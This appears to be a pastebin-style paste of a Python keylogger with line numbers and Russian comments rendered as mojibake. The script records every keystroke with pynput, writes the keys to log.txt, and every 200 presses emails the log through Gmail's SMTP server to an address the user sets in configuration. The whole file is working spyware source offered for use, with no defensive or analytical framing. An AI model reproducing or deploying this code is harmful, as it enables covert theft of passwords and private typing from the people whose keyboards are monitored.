· 7 years ago · Apr 02, 2019, 04:24 AM
1import os
2import imghdr
3from email.message import EmailMessage
4import pynput # sudo pip3 install pynput
5from pynput.keyboard import Key, Listener
6import smtplib
7
8# 0. подготовительный Ñтап:
9EMAIL_ADRESS = 'your_googleMail_name' # логин вашего Ñщика, без "@gmail.com"
10EMAIL_PASSWORD = 'пароль_от_почты '
11EMAIL_RESIVER = 'почтовый_Ñщик_получателÑ' # можно отправлÑть на любой. пример: mymail@yandex.ru
12
13
14log = 'log.txt'
15count1 = 0
16count2 = 0
17keys = []
18
19# 2. Ñчитываем Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ ÐºÐ»Ð°Ð²Ð¸Ñˆ и запиÑываем их в Ñловарь 'keys':
20def on_press(key):
21 global keys, count1, count2
22 try:
23 keys.append(key)
24 count1 += 1
25 count2 += 1
26
27 if count1 >= 10:
28 count1 = 0
29 write_file(keys)
30 keys = []
31 if count2 >= 200:
32 count2 = 0
33 send_mail(EMAIL_ADRESS, EMAIL_PASSWORD, EMAIL_RESIVER)
34 on_press(key)
35 except:
36 pass
37
38
39# 3. запиÑываем полученные Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ð² файл 'log.txt' в удобном виде:
40def write_file(keys):
41 try:
42 with open(log, 'a') as f:
43 for key in keys:
44 k = str(key).replace("'", '')
45 if k.find('enter') > 0:
46 f.write('\n')
47 if k.find('space') > 0:
48 f.write(' ')
49 if k.find('.shift') > 0:
50 f.write(' [SHIFT] ')
51 if k.find('.esc') > 0:
52 f.write(' [Esc] ')
53 if k.find('.backspace') > 0:
54 f.write(' [BACKSPASE] ')
55 if k.find('.tab') > 0:
56 f.write(' [TAB] ')
57 if k.find('.up') > 0:
58 f.write(' [↑] ')
59 if k.find('.left') > 0:
60 f.write(' [â†] ')
61 if k.find('.right') > 0:
62 f.write(' [→] ')
63 if k.find('.down') > 0:
64 f.write(' [↓] ')
65 elif k.find('Key') == -1:
66 f.write(k)
67 except:
68 pass
69
70
71# 4. отправка файла 'log.txt' на указанную в начале почту (EMAIL_RESIVER):
72def send_mail(EMAIL_ADRESS, EMAIL_PASSWORD, EMAIL_RESIVER):
73 msg = EmailMessage()
74 msg['Subject'] = 'Messasge Subject'
75 msg['From'] = EMAIL_ADRESS
76 msg['To'] = EMAIL_RESIVER
77 msg.set_content('...')
78
79 files = ['log.txt']
80
81 for file in files:
82 with open(file, 'rb') as f:
83 file_data = f.read()
84 file_type = imghdr.what(f.name)
85 file_name = f.name
86 msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=file_name)
87
88
89 with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
90 smtp.login(EMAIL_ADRESS, EMAIL_PASSWORD)
91 smtp.send_message(msg )
92
93
94# 1. начинаетÑÑ Ð²ÑÑ‘ тут:
95try:
96 with Listener(on_press=on_press) as listener:
97 listener.join()
98
99except:
100 pass